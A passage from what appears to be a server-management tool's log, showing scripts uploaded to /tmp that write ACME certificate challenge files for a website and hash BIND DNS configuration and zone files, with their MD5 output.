parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:31:20:
runuser -l bind -s /bin/bash -c '/tmp/pkp763681; rm /tmp/pkp763681'
2026-01-03 19:31:20:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-04 06:00:03: Establishing a connection
2026-01-04 06:00:03: Establishing a connection
2026-01-04 06:00:03:
PUT: /tmp/pkp523393
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-04 06:00:04:
chmod 755 /tmp/pkp523393; /tmp/pkp523393; rm /tmp/pkp523393
2026-01-04 06:00:04:
1
2026-01-04 06:00:05: Establishing a connection
2026-01-04 06:00:05:
PUT: /tmp/pkp736581
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > BeEpJZ4iPoq--9JZ9eYa4fO1SG1gsKWBze5qYEahOpk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BeEpJZ4iPoq--9JZ9eYa4fO1SG1gsKWBze5qYEahOpk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BeEpJZ4iPoq--9JZ9eYa4fO1SG1gsKWBze5qYEahOpk
2026-01-04 06:00:05:
chmod 755 /tmp/pkp736581; /tmp/pkp736581; rm /tmp/pkp736581
2026-01-04 06:00:05:
2026-01-05 06:00:03: Establishing a connection
2026-01-05 06:00:04: Establishing a connection
2026-01-05 06:00:04:
PUT: /tmp/pkp404997
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-05 06:00:04:
chmod 755 /tmp/pkp404997; /tmp/pkp404997; rm /tmp/pkp404997
2026-01-05 06:00:04:
1
2026-01-05 06:00:06: Establishing a connection
2026-01-05 06:00:06:
PUT: /tmp/pkp917901
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > k2hz5S7zKV-jw7M67FD9mm0rLR_WfHGUfKzlaDiO8wI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
k2hz5S7zKV-jw7M67FD9mm0rLR_WfHGUfKzlaDiO8wI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 k2hz5S7zKV-jw7M67FD9mm0rLR_WfHGUfKzlaDiO8wI
2026-01-05 06:00:06:
chmod 755 /tmp/pkp917901; /tmp/pkp917901; rm /tmp/pkp917901
2026-01-05 06:00:06:
2026-01-05 13:45:42: Establishing a connection
2026-01-05 13:46:06: Establishing a connection
2026-01-05 13:46:06:
PUT: /tmp/pkp655776
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-05 13:46:07:
runuser -l bind -s /bin/bash -c '/tmp/pkp655776; rm /tmp/pkp655776'
2026-01-05 13:46:07:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
